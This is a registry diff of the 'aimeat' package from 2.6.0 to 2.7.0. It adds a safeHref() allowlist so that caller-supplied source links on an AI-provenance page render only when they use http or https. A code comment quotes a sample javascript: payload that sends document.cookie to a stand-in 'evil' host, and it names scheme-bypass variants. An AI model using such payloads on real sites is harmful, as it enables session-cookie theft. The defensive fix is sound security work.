aimeat 2.6.0 → 2.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (62) hide show
  1. package/README.md +57 -0
  2. package/dist/build-stamp.json +4 -4
  3. package/dist/public/changelog.json +13 -0
  4. package/dist/src/cli/connect/clients/claude.d.ts +22 -0
  5. package/dist/src/cli/connect/clients/claude.d.ts.map +1 -0
  6. package/dist/src/cli/connect/clients/claude.js +105 -0
  7. package/dist/src/cli/connect/clients/claude.js.map +1 -0
  8. package/dist/src/cli/connect/clients/cursor-vscode.d.ts +17 -0
  9. package/dist/src/cli/connect/clients/cursor-vscode.d.ts.map +1 -0
  10. package/dist/src/cli/connect/clients/cursor-vscode.js +88 -0
  11. package/dist/src/cli/connect/clients/cursor-vscode.js.map +1 -0
  12. package/dist/src/cli/connect/clients/fs-merge.d.ts +35 -0
  13. package/dist/src/cli/connect/clients/fs-merge.d.ts.map +1 -0
  14. package/dist/src/cli/connect/clients/fs-merge.js +87 -0
  15. package/dist/src/cli/connect/clients/fs-merge.js.map +1 -0
  16. package/dist/src/cli/connect/clients/goose.d.ts +15 -0
  17. package/dist/src/cli/connect/clients/goose.d.ts.map +1 -0
  18. package/dist/src/cli/connect/clients/goose.js +67 -0
  19. package/dist/src/cli/connect/clients/goose.js.map +1 -0
  20. package/dist/src/cli/connect/clients/index.d.ts +23 -0
  21. package/dist/src/cli/connect/clients/index.d.ts.map +1 -0
  22. package/dist/src/cli/connect/clients/index.js +148 -0
  23. package/dist/src/cli/connect/clients/index.js.map +1 -0
  24. package/dist/src/cli/connect/clients/launcher.d.ts +33 -0
  25. package/dist/src/cli/connect/clients/launcher.d.ts.map +1 -0
  26. package/dist/src/cli/connect/clients/launcher.js +94 -0
  27. package/dist/src/cli/connect/clients/launcher.js.map +1 -0
  28. package/dist/src/cli/connect/clients/types.d.ts +63 -0
  29. package/dist/src/cli/connect/clients/types.d.ts.map +1 -0
  30. package/dist/src/cli/connect/clients/types.js +16 -0
  31. package/dist/src/cli/connect/clients/types.js.map +1 -0
  32. package/dist/src/generated/api-types.d.ts +117 -3
  33. package/dist/src/generated/api-types.d.ts.map +1 -1
  34. package/dist/src/index-connect.d.ts.map +1 -1
  35. package/dist/src/index-connect.js +4 -0
  36. package/dist/src/index-connect.js.map +1 -1
  37. package/dist/src/index-help.d.ts +2 -2
  38. package/dist/src/index-help.d.ts.map +1 -1
  39. package/dist/src/index-help.js +16 -0
  40. package/dist/src/index-help.js.map +1 -1
  41. package/dist/src/mcp/ai-provenance-input.d.ts.map +1 -1
  42. package/dist/src/mcp/ai-provenance-input.js +6 -2
  43. package/dist/src/mcp/ai-provenance-input.js.map +1 -1
  44. package/dist/src/models/ai-provenance-schemas.d.ts +17 -0
  45. package/dist/src/models/ai-provenance-schemas.d.ts.map +1 -1
  46. package/dist/src/models/ai-provenance-schemas.js +18 -1
  47. package/dist/src/models/ai-provenance-schemas.js.map +1 -1
  48. package/dist/src/routes/ai-provenance.d.ts.map +1 -1
  49. package/dist/src/routes/ai-provenance.js +23 -2
  50. package/dist/src/routes/ai-provenance.js.map +1 -1
  51. package/dist/src/routes/workflows.d.ts.map +1 -1
  52. package/dist/src/routes/workflows.js +25 -0
  53. package/dist/src/routes/workflows.js.map +1 -1
  54. package/dist/src/services/ai-provenance-page.d.ts +18 -0
  55. package/dist/src/services/ai-provenance-page.d.ts.map +1 -1
  56. package/dist/src/services/ai-provenance-page.js +43 -1
  57. package/dist/src/services/ai-provenance-page.js.map +1 -1
  58. package/dist/src/utils/build-stamp.d.ts.map +1 -1
  59. package/dist/src/utils/build-stamp.js +12 -1
  60. package/dist/src/utils/build-stamp.js.map +1 -1
  61. package/package.json +3 -2
  62. package/scripts/vendor-libs.mjs +144 -0
@@ -3,6 +3,36 @@ function esc(s) {
3
3
  .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
4
4
  .replace(/"/g, '&quot;').replace(/'/g, '&#39;');
5
5
  }
6
+ /**
7
+ * The escaped href for a caller-supplied URL, or `null` when its SCHEME is not one we will link.
8
+ *
9
+ * esc() stops a value breaking OUT of the attribute; it says nothing about what the attribute then
10
+ * means. `javascript:fetch("https://evil/"+document.cookie)` survives escaping intact and becomes a
11
+ * working link — and this page is served from the apex, where the session cookie lives, from a link
12
+ * the platform actively tells people to click inside somebody else's app. Escaping and scheme are
13
+ * two different jobs, and this is the second one.
14
+ *
15
+ * ALLOWLIST, NEVER A BLOCKLIST. No stripping of "javascript:" and keeping the rest: that is a
16
+ * rewrite-the-attacker's-string game, and it is lost by `java\tscript:`, `JaVaScRiPt:`, a leading
17
+ * newline, or the next encoding nobody thought of. Two schemes are permitted and everything else —
18
+ * including `data:` and anything relative that could resolve oddly — is simply not a link.
19
+ *
20
+ * The caller renders a refusal as TEXT rather than dropping it: see the call site. A page that
21
+ * quietly hides part of what a record says fails the same way as one that renders it dangerously.
22
+ */
23
+ export function safeHref(url) {
24
+ if (typeof url !== 'string')
25
+ return null;
26
+ const raw = url.trim();
27
+ // canParse rather than try/catch: an unparseable address is an ANSWER here ("not a link"), not a
28
+ // failure to swallow, and saying so without a catch keeps that distinction visible.
29
+ if (!URL.canParse(raw))
30
+ return null;
31
+ const parsed = new URL(raw);
32
+ if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:')
33
+ return null;
34
+ return esc(parsed.href);
35
+ }
6
36
  /** Localized copy. Only the CHROME lives here; every statement of fact comes off the record. */
7
37
  const COPY = {
8
38
  en: {
@@ -71,6 +101,8 @@ code{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;font-size:.9em}
71
101
  ol{margin:.3rem 0 0;padding-left:1.2rem}
72
102
  li{margin-bottom:.3rem;overflow-wrap:anywhere}
73
103
  a{color:var(--accent)}
104
+ .badhref{font-family:ui-monospace,SFMono-Regular,Menlo,monospace;font-size:.85em;color:var(--dim);
105
+ word-break:break-all}
74
106
  .note{color:var(--dim);font-size:.9rem;margin:.6rem 0 0}
75
107
  .actions{display:flex;flex-wrap:wrap;gap:.75rem;margin-top:.75rem}
76
108
  @media (max-width:32rem){dl{grid-template-columns:1fr;gap:.15rem}dt{margin-top:.5rem}}
@@ -159,7 +191,17 @@ ${row(t.stampedBy, stamped ? esc(stamped) : '')}
159
191
 
160
192
  ${sources.length ? `<h2>${esc(t.sources)}</h2>
161
193
  <div class="card"><ol>
162
- ${sources.map(s => `<li><a href="${esc(s.url)}" rel="noopener noreferrer nofollow" target="_blank">${esc(s.title || s.url)}</a>${s.retrievedAt ? ` <span class="note">(${esc(String(s.retrievedAt).slice(0, 10))})</span>` : ''}</li>`).join('\n')}
194
+ ${sources.map(s => {
195
+ const href = safeHref(s.url);
196
+ const when = s.retrievedAt ? ` <span class="note">(${esc(String(s.retrievedAt).slice(0, 10))})</span>` : '';
197
+ // A scheme we will not link is shown VERBATIM as text — the reader sees exactly what the record
198
+ // declared, and can judge it, which is the whole point of publishing the record. The address is
199
+ // shown rather than the title here on purpose: a title is the attacker's string too, and behind a
200
+ // dead link it would be the only thing on screen.
201
+ if (!href)
202
+ return `<li><span class="badhref">${esc(s.url)}</span>${when}</li>`;
203
+ return `<li><a href="${href}" rel="noopener noreferrer nofollow" target="_blank">${esc(s.title || s.url)}</a>${when}</li>`;
204
+ }).join('\n')}
163
205
  </ol></div>` : ''}
164
206
 
165
207
  ${record.attestation?.contentHash ? `<h2>${esc(t.hash)}</h2>
@@ -1 +1 @@
1
- {"version":3,"file":"ai-provenance-page.js","sourceRoot":"","sources":["../../../src/services/ai-provenance-page.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"ai-provenance-page.js","sourceRoot":"","sources":["../../../src/services/ai-provenance-page.ts"],"names":[],"mappings":"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